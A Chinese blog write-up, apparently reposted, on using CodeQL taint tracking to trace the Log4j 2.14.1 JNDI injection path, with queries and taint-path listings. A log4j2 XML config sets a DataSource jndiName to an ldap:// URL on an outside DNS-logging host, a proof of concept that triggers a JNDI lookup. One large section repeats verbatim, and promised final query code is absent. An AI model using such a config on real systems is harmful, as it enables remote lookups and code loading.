百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

「安全漏洞」利用CodeQL分析并挖掘Log4j漏洞

toyiye 2024-08-08 00:14 11 浏览 0 评论

前言


分析漏洞的本质是为了能让我们从中学习漏洞挖掘者的思路以及挖掘到新的漏洞,而CodeQL就是一款可以将我们对漏洞的理解快速转化为可实现的规则并挖掘漏洞的利器。根据网上的传言Log4j2的RCE漏洞就是作者通过CodeQL挖掘出的。虽然如何挖掘的我们不得而知,但我们现在站在事后的角度再去想想,可以推测一下作者如何通过CodeQL挖掘到漏洞的,并尝试基于作者的思路挖掘新漏洞。


分析过程


首先我们要构建Log4j的数据库,由于lgtm.com中构建的是新版本的Log4j数据库,所以只能手动构建数据库了。首先从github获取源码并切换到2.14.1版本。


git clone https://github.com/apache/logging-log4j2.git
git checkout be881e5


由于我们这次分析的主要是log4j-core和log4j-api中的内容,所以打开根目录的Pom.xml注释下面的内容。


<modules>
    <module>log4j-api-java9</module>
    <module>log4j-api</module>
    <module>log4j-core-java9</module>
    <module>log4j-core</module>
    <!-- <module>log4j-layout-template-json</module>
    <module>log4j-core-its</module>
    <module>log4j-1.2-api</module>
    <module>log4j-slf4j-impl</module>
    <module>log4j-slf4j18-impl</module>
    <module>log4j-to-slf4j</module>
    <module>log4j-jcl</module>
    <module>log4j-flume-ng</module>
    <module>log4j-taglib</module>
    <module>log4j-jmx-gui</module>
    <module>log4j-samples</module>
    <module>log4j-bom</module>
    <module>log4j-jdbc-dbcp2</module>
    <module>log4j-jpa</module>
    <module>log4j-couchdb</module>
    <module>log4j-mongodb3</module>
    <module>log4j-mongodb4</module>
    <module>log4j-cassandra</module>
    <module>log4j-web</module>
    <module>log4j-perf</module>
    <module>log4j-iostreams</module>
    <module>log4j-jul</module>
    <module>log4j-jpl</module>
    <module>log4j-liquibase</module>
    <module>log4j-appserver</module>
    <module>log4j-osgi</module>
    <module>log4j-docker</module>
    <module>log4j-kubernetes</module>
    <module>log4j-spring-boot</module>
    <module>log4j-spring-cloud-config</module> -->
  </modules>



由于log4j-api-java9和log4j-core- java9需要依赖JDK9,所以要先下载JDK9并且在C:\Users\用户名\.m2\toolchains.xml中加上下面的内容。


<toolchains>
<toolchain>  
  <type>jdk</type>  
  <provides>  
    <version>9</version>  
    <vendor>sun</vendor>  
  </provides>  
  <configuration>  
    <jdkHome>C:\Program Files\Java\jdk-9.0.4</jdkHome>  
  </configuration>  
</toolchain>  
</toolchains>



通过下面的命令完成数据库构建


CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"



构建好数据库后,我们要找JNDI注入的漏洞,首先要确定在这套系统中调用了InitialContext#lookup方法。在LookupInterface项目中已经集成了常见的发起JNDI请求的类,只要稍微改一下即可。

??

首先定义Context类型,这个类中综合了可能发起JNDI请求的类。


class Context extends  RefType{
    Context(){
        this.hasQualifiedName("javax.naming", "Context")
        or
        this.hasQualifiedName("javax.naming", "InitialContext")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
        or 
        this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
        or
        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
        or
        this.getQualifiedName().matches("%JndiCallback")
        or
        this.getQualifiedName().matches("%JndiLocatorDelegate")
        or
        this.getQualifiedName().matches("%JndiTemplate")
    }
}



下面寻找那里调用了Context的lookup方法。


from Call call,Callable parseExpression
where
    call.getCallee() = parseExpression and 
    parseExpression.getDeclaringType() instanceof Context and
    parseExpression.hasName("lookup")
select call




  • DataSourceConnectionSource#createConnectionSource


@PluginFactory
    public static DataSourceConnectionSource createConnectionSource(@PluginAttribute("jndiName") final String jndiName) {
        if (Strings.isEmpty(jndiName)) {
            LOGGER.error("No JNDI name provided.");
            return null;
        }
        try {
            final InitialContext context = new InitialContext();
            final DataSource dataSource = (DataSource) context.lookup(jndiName);
            if (dataSource == null) {
                LOGGER.error("No data source found with JNDI name [" + jndiName + "].");
                return null;
            }
            return new DataSourceConnectionSource(jndiName, dataSource);
        } catch (final NamingException e) {
            LOGGER.error(e.getMessage(), e);
            return null;
        }
    }



  • JndiManager#lookup


@SuppressWarnings("unchecked")
    public <T> T lookup(final String name) throws NamingException {
        return (T) this.context.lookup(name);
    }



找到sink后我们还需要找到source,虽然Codeql定义了RemoteFlowSource支持多种source,但是我们还是要根据实际的代码业务来分析可能作为source的点。

??

在Log4j作为日志记录的工具,除了从HTTP请求中获取输入点外,还可以在记录日志请求或者解析配置文件中来获取source。先不看解析配置文件获取source的点了,因为这需要分析Log4j解析配置文件的流程比较复杂。所以目前我们只考虑通过日志记录作为source的情况。稍微了解Log4j的同学都知道,Log4j会通过error/fatal/info/debug/trace等方法对不同级别的日志进行记录。通过分析我们可以看到我们输入的message都调用了logIfEnabled方法并作为第四个参数输入,所以可以将这里定义为source。



下面使用全局污点追踪分析JNDI漏洞,还是套用LookupInterface项目中的代码,修改source部分即可。


/**
 *@name Tainttrack Context lookup
 *@kind path-problem
 */
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends  RefType{
    Context(){
        this.hasQualifiedName("javax.naming", "Context")
        or
        this.hasQualifiedName("javax.naming", "InitialContext")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
        or 
        this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
        or
        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
        or
        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
        or
        this.getQualifiedName().matches("%JndiCallback")
        or
        this.getQualifiedName().matches("%JndiLocatorDelegate")
        or
        this.getQualifiedName().matches("%JndiTemplate")
    }
}
class Logger extends  RefType{
    Logger(){
        this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
    }
}
predicate isLookup(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName() = "lookup"
        and
        ma.getMethod().getDeclaringType() instanceof Context
        and
        arg = ma.getArgument(0)
    )
}
predicate isLogging(Expr arg) {
    exists(MethodAccess ma |
        ma.getMethod().getName() = "logIfEnabled"
        and
        ma.getMethod().getDeclaringType() instanceof Logger
        and
        arg = ma.getArgument(3)
    )
}
class TainttrackLookup  extends TaintTracking::Configuration {
    TainttrackLookup() { 
        this = "TainttrackLookup" 
    }

    override predicate isSource(DataFlow::Node source) {
        exists(Expr exp |
            isLogging(exp)
            and
            source.asExpr() = exp
        )
    }

    override predicate isSink(DataFlow::Node sink) {
        exists(Expr arg |
            isLookup(arg)
            and
            sink.asExpr() = arg
        )
    }
} 
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
    config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"



虽然这些也得到了很多查询结果,但是在实际使用Log4j打印日志时可能不会带上Marker参数而是直接写入messge的内容。



所以我们现在要追踪的source应该是带有一个参数的error/fatal/info/debug/trace等方法。我这里以error方法为例对source部分进行修改。


class LoggerInput extends  Method {
    LoggerInput(){
        //限定调用的类名、方法名、以及方法只有一个参数
        this.getDeclaringType() instanceof Logger and
        this.hasName("error") and this.getNumberOfParameters() = 1
    }
    //将第一个参数作为source
    Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
override predicate isSource(DataFlow::Node source) {
        exists(LoggerInput LoggerMethod |
            source.asParameter() = LoggerMethod.getAnUntrustedParameter())
    }



这样我们就得到了多条链,现在我们要写个Demo验证这个链是否可行,比如最简单的logger.error("xxxxx");


1   message : Message   AbstractLogger.java:709:23
2   message : Message   AbstractLogger.java:710:47
3   message : Message   AbstractLogger.java:1833:89
4   message : Message   AbstractLogger.java:1835:38
5   message : Message   Logger.java:262:70
6   message : Message   Logger.java:263:52
7   msg : Message   Logger.java:617:64
8   msg : Message   Logger.java:620:78
9   msg : Message   RegexFilter.java:73:87
10  msg : Message   RegexFilter.java:78:63
...
64  convertJndiName(...) : String   JndiLookup.java:54:33
65  jndiName : String   JndiLookup.java:56:56
66  name : String   JndiManager.java:171:25
67  name    JndiManager.java:172:40
Path



但是这条链只有配置了Filter为RegexFilter才会继续执行,而默认没有配置则为空。


??

所以这种方式就稍微有些限制,所以我们再去看看其他链接。这条链似乎不用配置Filter。


1   message : Message   AbstractLogger.java:709:23
2   message : Message   AbstractLogger.java:710:47
3   message : Message   AbstractLogger.java:1833:89
4   message : Message   AbstractLogger.java:1836:51
5   message : Message   AbstractLogger.java:2139:94
6   message : Message   AbstractLogger.java:2142:59
7   message : Message   AbstractLogger.java:2155:43
8   message : Message   AbstractLogger.java:2159:67
9   message : Message   AbstractLogger.java:2202:32
10  message : Message   AbstractLogger.java:2205:48
11  message : Message   AbstractLogger.java:2116:9
12  message : Message   AbstractLogger.java:2117:41
...
78  var : String    Interpolator.java:230:92
79  key : String    JndiLookup.java:50:48
80  key : String    JndiLookup.java:54:49
81  jndiName : String   JndiLookup.java:70:36
82  jndiName : String   JndiLookup.java:74:16
83  convertJndiName(...) : String   JndiLookup.java:54:33
84  jndiName : String   JndiLookup.java:56:56
85  name : String   JndiManager.java:171:25
86  name    JndiManager.java:172:40



但是在AbstractLogger#tryLogMessage中Codeql会直接分析到AbstractLogger#log而实际请求时会解析到Logger#log方法。这是因为Logger是AbstractLogger的子类并且也实现了log方法,而且我们实例化的也是Logger对象,所以这里会调用到Logger#log。


实际请求



CodeQL分析



再看看下面这条链


1   message : Message   AbstractLogger.java:709:23
2   message : Message   AbstractLogger.java:710:47
3   message : Message   AbstractLogger.java:1833:89
4   message : Message   AbstractLogger.java:1836:51
5   message : Message   AbstractLogger.java:2139:94
6   message : Message   AbstractLogger.java:2142:59
7   message : Message   AbstractLogger.java:2155:43
8   message : Message   AbstractLogger.java:2159:67
9   message : Message   AbstractLogger.java:2202:32
10  message : Message   AbstractLogger.java:2205:48
11  message : Message   Logger.java:158:9
12  message : Message   Logger.java:162:17
13  data : Message  AwaitCompletionReliabilityStrategy.java:78:83
14  data : Message  AwaitCompletionReliabilityStrategy.java:82:67
15  data : Message  LoggerConfig.java:430:28
16  data : Message  LoggerConfig.java:454:17
17  message : Message   ReusableLogEventFactory.java:78:86
18  message : Message   ReusableLogEventFactory.java:100:27
19  msg : Message   MutableLogEvent.java:209:28
20  (...)... : Message  MutableLogEvent.java:211:46
21  reusable : Message  MutableLogEvent.java:212:13
22  parameter this : Message    ReusableObjectMessage.java:47:17
23  obj : Object    ReusableObjectMessage.java:48:44
...
88  convertJndiName(...) : String   JndiLookup.java:54:33
89  jndiName : String   JndiLookup.java:56:56
90  name : String   JndiManager.java:171:25
91  name    JndiManager.java:172:40



这条链在执行到MutableLogEvent#setMessage时和CodeQL的分析结果略有不同。



在CodeQL中resusable.formatTo会调用到ReusableObjectMessage中。



但是实际运行过程中由于MessgeFactorty创建Message对象时默认创建的是ResableSimpleMessage对象,所以会执行到ResableSimpleMessage#formatTo方法。




所以似乎目前使用使用CodeQL的规则是发现不了Log4jShell那个漏洞的,既然我们已经知道了这个漏洞的触发链,可以分析下CodeQL为什么没有分析出来。

??

通过之前对CodeQL检测出的调用链分析,CodeQL已经分析到了createEvent方法。



查看createEvent方法的调用,在Log4jShell的触发链中实际上是在对返回LogEvent的处理过程中触发的,所以这里CodeQL可能没有将返回的LogEvent对象再当作污点进行分析,所以导致没有分析成功。



我们可以创建一个isAdditionalTaintStep函数,将ReusableLogEventFactory#createEvent的第六个参数Message和LoggerConfig#log第一个参数logEvent连接起来。


override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
        exists(MethodAccess ma,MethodAccess ma2 |
            ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") 
            and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")  
            and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0)
                    )
      }



最后我们就可以通过CodeQL分析到Log4j shell漏洞的调用链。


1   message : Message   AbstractLogger.java:709:23
2   message : Message   AbstractLogger.java:710:47
3   message : Message   AbstractLogger.java:1833:89
4   message : Message   AbstractLogger.java:1836:51
5   message : Message   AbstractLogger.java:2139:94
6   message : Message   AbstractLogger.java:2142:59
7   message : Message   AbstractLogger.java:2155:43
8   message : Message   AbstractLogger.java:2159:67
9   message : Message   AbstractLogger.java:2202:32
10  message : Message   AbstractLogger.java:2205:48
11  message : Message   Logger.java:158:9
12  message : Message   Logger.java:162:17
13  data : Message  DefaultReliabilityStrategy.java:61:83
14  data : Message  DefaultReliabilityStrategy.java:63:69
15  data : Message  LoggerConfig.java:430:28
16  data : Message  LoggerConfig.java:454:96
17  message : Message   ReusableLogEventFactory.java:58:47
18  message : Message   ReusableLogEventFactory.java:60:67
19  event : LogEvent    LoggerConfig.java:469:13
20  event : LogEvent    LoggerConfig.java:479:24
21  event : LogEvent    LoggerConfig.java:481:29
22  event : LogEvent    LoggerConfig.java:495:34
23  event : LogEvent    LoggerConfig.java:498:27
24  event : LogEvent    LoggerConfig.java:536:34
25  event : LogEvent    LoggerConfig.java:540:38
26  event : LogEvent    AppenderControl.java:80:30
27  event : LogEvent    AppenderControl.java:84:38
28  event : LogEvent    AppenderControl.java:117:47
29  event : LogEvent    AppenderControl.java:120:27
30  event : LogEvent    AppenderControl.java:126:32
31  event : LogEvent    AppenderControl.java:129:29
32  event : LogEvent    AppenderControl.java:154:34
33  event : LogEvent    AppenderControl.java:156:29
34  event : LogEvent    AbstractDatabaseAppender.java:107:30
35  event : LogEvent    AbstractDatabaseAppender.java:110:37
36  event : LogEvent    AbstractDatabaseManager.java:260:42
37  event : LogEvent    AbstractDatabaseManager.java:262:20
38  event : LogEvent    AbstractDatabaseManager.java:122:27
39  event : LogEvent    AbstractDatabaseManager.java:123:25
40  parameter this : LogEvent   Log4jLogEvent.java:530:26
41  this : LogEvent     Log4jLogEvent.java:534:16
42  toImmutable(...) : LogEvent     AbstractDatabaseManager.java:123:25
43  this.buffer [post update] [<element>] : LogEvent    AbstractDatabaseManager.java:123:9
44  this [post update] [buffer, <element>] : LogEvent   AbstractDatabaseManager.java:123:9
45  this <.method> [post update] [buffer, <element>] : LogEvent     AbstractDatabaseManager.java:262:13
46  getManager(...) [post update] [buffer, <element>] : LogEvent    AbstractDatabaseAppender.java:110:13
47  this [post update] [manager, buffer, <element>] : LogEvent  AbstractDatabaseAppender.java:110:13
48  appender [post update] [manager, buffer, <element>] : LogEvent  AppenderControl.java:156:13
49  this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent   AppenderControl.java:156:13
50  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:129:13
51  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:120:13
52  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:84:9
53  event : LogEvent    AppenderControl.java:80:30
54  event : LogEvent    AppenderControl.java:84:38
55  event : LogEvent    AppenderControl.java:117:47
56  event : LogEvent    AppenderControl.java:120:27
57  event : LogEvent    AppenderControl.java:126:32
58  event : LogEvent    AppenderControl.java:129:29
59  event : LogEvent    AppenderControl.java:154:34
60  event : LogEvent    AppenderControl.java:156:29
61  event : LogEvent    AbstractOutputStreamAppender.java:179:24
62  event : LogEvent    AbstractOutputStreamAppender.java:181:23
63  event : LogEvent    AbstractOutputStreamAppender.java:188:28
64  event : LogEvent    AbstractOutputStreamAppender.java:190:31
65  event : LogEvent    AbstractOutputStreamAppender.java:196:38
66  event : LogEvent    AbstractOutputStreamAppender.java:197:28
67  event : LogEvent    GelfLayout.java:433:24
68  event : LogEvent    GelfLayout.java:438:43
69  event : LogEvent    GelfLayout.java:471:34
70  event : LogEvent    GelfLayout.java:496:46
71  event : LogEvent    StrSubstitutor.java:462:27
72  event : LogEvent    StrSubstitutor.java:467:25
73  event : LogEvent    StrSubstitutor.java:911:34
74  event : LogEvent    StrSubstitutor.java:912:27
75  event : LogEvent    StrSubstitutor.java:928:28
76  event : LogEvent    StrSubstitutor.java:978:44
77  event : LogEvent    StrSubstitutor.java:911:34
78  event : LogEvent    StrSubstitutor.java:912:27
79  event : LogEvent    StrSubstitutor.java:928:28
80  event : LogEvent    StrSubstitutor.java:1033:63
81  event : LogEvent    StrSubstitutor.java:1104:38
82  event : LogEvent    StrSubstitutor.java:1110:32
83  event : LogEvent    StructuredDataLookup.java:46:26
84  event : LogEvent    StructuredDataLookup.java:50:67
85  parameter this : LogEvent   RingBufferLogEvent.java:206:20
86  message : Message   RingBufferLogEvent.java:210:16
87  getMessage(...) : Message   StructuredDataLookup.java:50:67
88  (...)... : Message  StructuredDataLookup.java:50:43
89  msg : Message   StructuredDataLookup.java:54:20
90  parameter this : Message    StructuredDataMessage.java:239:19
91  type : String   StructuredDataMessage.java:240:16
92  getType(...) : String   StructuredDataLookup.java:54:20
93  lookup(...) : String    StrSubstitutor.java:1110:16
94  resolveVariable(...) : String   StrSubstitutor.java:1033:47
95  varValue : String   StrSubstitutor.java:1040:63
96  buf [post update] : StringBuilder   StrSubstitutor.java:1040:33
97  buf [post update] : StringBuilder   StrSubstitutor.java:912:34
98  bufName [post update] : StringBuilder   StrSubstitutor.java:978:51
99  bufName : StringBuilder     StrSubstitutor.java:979:47
100 toString(...) : String  StrSubstitutor.java:979:47
101 varNameExpr : String    StrSubstitutor.java:1010:55
102 substring(...) : String     StrSubstitutor.java:1010:55
103 varName : String    StrSubstitutor.java:1033:70
104 variableName : String   StrSubstitutor.java:1104:60
105 variableName : String   StrSubstitutor.java:1110:39
106 key : String    JndiLookup.java:50:48
107 key : String    JndiLookup.java:54:49
108 jndiName : String   JndiLookup.java:70:36
109 ... + ... : String  JndiLookup.java:72:20
110 convertJndiName(...) : String   JndiLookup.java:54:33
111 jndiName : String   JndiLookup.java:56:56
112 name : String   JndiManager.java:171:25
113 name    JndiManager.java:172:40



漏洞挖掘尝试


通过上面的分析可以看到,挖掘到所有的链最终的触发点都是JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource中也直接调用了lookup方法,我们能否通过某种方式触发呢?

??

通过注释可以看到DataSource是Core类型插件,因此可以在XML中直接通过标签配置调用。



<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org.">
    </DataSource>
    <Loggers>
        <Root level="ERROR">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>



配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成JNDI注入,但是需要在配置文件中修改参数才能触发,所以价值不大。



最后给出整体的分析Log4j JNDI注入的CodeQL查询代码


1   message : Message   AbstractLogger.java:709:23
2   message : Message   AbstractLogger.java:710:47
3   message : Message   AbstractLogger.java:1833:89
4   message : Message   AbstractLogger.java:1836:51
5   message : Message   AbstractLogger.java:2139:94
6   message : Message   AbstractLogger.java:2142:59
7   message : Message   AbstractLogger.java:2155:43
8   message : Message   AbstractLogger.java:2159:67
9   message : Message   AbstractLogger.java:2202:32
10  message : Message   AbstractLogger.java:2205:48
11  message : Message   Logger.java:158:9
12  message : Message   Logger.java:162:17
13  data : Message  DefaultReliabilityStrategy.java:61:83
14  data : Message  DefaultReliabilityStrategy.java:63:69
15  data : Message  LoggerConfig.java:430:28
16  data : Message  LoggerConfig.java:454:96
17  message : Message   ReusableLogEventFactory.java:58:47
18  message : Message   ReusableLogEventFactory.java:60:67
19  event : LogEvent    LoggerConfig.java:469:13
20  event : LogEvent    LoggerConfig.java:479:24
21  event : LogEvent    LoggerConfig.java:481:29
22  event : LogEvent    LoggerConfig.java:495:34
23  event : LogEvent    LoggerConfig.java:498:27
24  event : LogEvent    LoggerConfig.java:536:34
25  event : LogEvent    LoggerConfig.java:540:38
26  event : LogEvent    AppenderControl.java:80:30
27  event : LogEvent    AppenderControl.java:84:38
28  event : LogEvent    AppenderControl.java:117:47
29  event : LogEvent    AppenderControl.java:120:27
30  event : LogEvent    AppenderControl.java:126:32
31  event : LogEvent    AppenderControl.java:129:29
32  event : LogEvent    AppenderControl.java:154:34
33  event : LogEvent    AppenderControl.java:156:29
34  event : LogEvent    AbstractDatabaseAppender.java:107:30
35  event : LogEvent    AbstractDatabaseAppender.java:110:37
36  event : LogEvent    AbstractDatabaseManager.java:260:42
37  event : LogEvent    AbstractDatabaseManager.java:262:20
38  event : LogEvent    AbstractDatabaseManager.java:122:27
39  event : LogEvent    AbstractDatabaseManager.java:123:25
40  parameter this : LogEvent   Log4jLogEvent.java:530:26
41  this : LogEvent     Log4jLogEvent.java:534:16
42  toImmutable(...) : LogEvent     AbstractDatabaseManager.java:123:25
43  this.buffer [post update] [<element>] : LogEvent    AbstractDatabaseManager.java:123:9
44  this [post update] [buffer, <element>] : LogEvent   AbstractDatabaseManager.java:123:9
45  this <.method> [post update] [buffer, <element>] : LogEvent     AbstractDatabaseManager.java:262:13
46  getManager(...) [post update] [buffer, <element>] : LogEvent    AbstractDatabaseAppender.java:110:13
47  this [post update] [manager, buffer, <element>] : LogEvent  AbstractDatabaseAppender.java:110:13
48  appender [post update] [manager, buffer, <element>] : LogEvent  AppenderControl.java:156:13
49  this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent   AppenderControl.java:156:13
50  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:129:13
51  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:120:13
52  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:84:9
53  event : LogEvent    AppenderControl.java:80:30
54  event : LogEvent    AppenderControl.java:84:38
55  event : LogEvent    AppenderControl.java:117:47
56  event : LogEvent    AppenderControl.java:120:27
57  event : LogEvent    AppenderControl.java:126:32
58  event : LogEvent    AppenderControl.java:129:29
59  event : LogEvent    AppenderControl.java:154:34
60  event : LogEvent    AppenderControl.java:156:29
61  event : LogEvent    AbstractOutputStreamAppender.java:179:24
62  event : LogEvent    AbstractOutputStreamAppender.java:181:23
63  event : LogEvent    AbstractOutputStreamAppender.java:188:28
64  event : LogEvent    AbstractOutputStreamAppender.java:190:31
65  event : LogEvent    AbstractOutputStreamAppender.java:196:38
66  event : LogEvent    AbstractOutputStreamAppender.java:197:28
67  event : LogEvent    GelfLayout.java:433:24
68  event : LogEvent    GelfLayout.java:438:43
69  event : LogEvent    GelfLayout.java:471:34
70  event : LogEvent    GelfLayout.java:496:46
71  event : LogEvent    StrSubstitutor.java:462:27
72  event : LogEvent    StrSubstitutor.java:467:25
73  event : LogEvent    StrSubstitutor.java:911:34
74  event : LogEvent    StrSubstitutor.java:912:27
75  event : LogEvent    StrSubstitutor.java:928:28
76  event : LogEvent    StrSubstitutor.java:978:44
77  event : LogEvent    StrSubstitutor.java:911:34
78  event : LogEvent    StrSubstitutor.java:912:27
79  event : LogEvent    StrSubstitutor.java:928:28
80  event : LogEvent    StrSubstitutor.java:1033:63
81  event : LogEvent    StrSubstitutor.java:1104:38
82  event : LogEvent    StrSubstitutor.java:1110:32
83  event : LogEvent    StructuredDataLookup.java:46:26
84  event : LogEvent    StructuredDataLookup.java:50:67
85  parameter this : LogEvent   RingBufferLogEvent.java:206:20
86  message : Message   RingBufferLogEvent.java:210:16
87  getMessage(...) : Message   StructuredDataLookup.java:50:67
88  (...)... : Message  StructuredDataLookup.java:50:43
89  msg : Message   StructuredDataLookup.java:54:20
90  parameter this : Message    StructuredDataMessage.java:239:19
91  type : String   StructuredDataMessage.java:240:16
92  getType(...) : String   StructuredDataLookup.java:54:20
93  lookup(...) : String    StrSubstitutor.java:1110:16
94  resolveVariable(...) : String   StrSubstitutor.java:1033:47
95  varValue : String   StrSubstitutor.java:1040:63
96  buf [post update] : StringBuilder   StrSubstitutor.java:1040:33
97  buf [post update] : StringBuilder   StrSubstitutor.java:912:34
98  bufName [post update] : StringBuilder   StrSubstitutor.java:978:51
99  bufName : StringBuilder     StrSubstitutor.java:979:47
100 toString(...) : String  StrSubstitutor.java:979:47
101 varNameExpr : String    StrSubstitutor.java:1010:55
102 substring(...) : String     StrSubstitutor.java:1010:55
103 varName : String    StrSubstitutor.java:1033:70
104 variableName : String   StrSubstitutor.java:1104:60
105 variableName : String   StrSubstitutor.java:1110:39
106 key : String    JndiLookup.java:50:48
107 key : String    JndiLookup.java:54:49
108 jndiName : String   JndiLookup.java:70:36
109 ... + ... : String  JndiLookup.java:72:20
110 convertJndiName(...) : String   JndiLookup.java:54:33
111 jndiName : String   JndiLookup.java:56:56
112 name : String   JndiManager.java:171:25
113 name    JndiManager.java:172:40



漏洞挖掘尝试


通过上面的分析可以看到,挖掘到所有的链最终的触发点都是JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource中也直接调用了lookup方法,我们能否通过某种方式触发呢?

??

通过注释可以看到DataSource是Core类型插件,因此可以在XML中直接通过标签配置调用。



<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org.">
    </DataSource>
    <Loggers>
        <Root level="ERROR">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>



配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成JNDI注入,但是需要在配置文件中修改参数才能触发,所以价值不大。



最后给出整体的分析Log4j JNDI注入的CodeQL查询代码

?

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码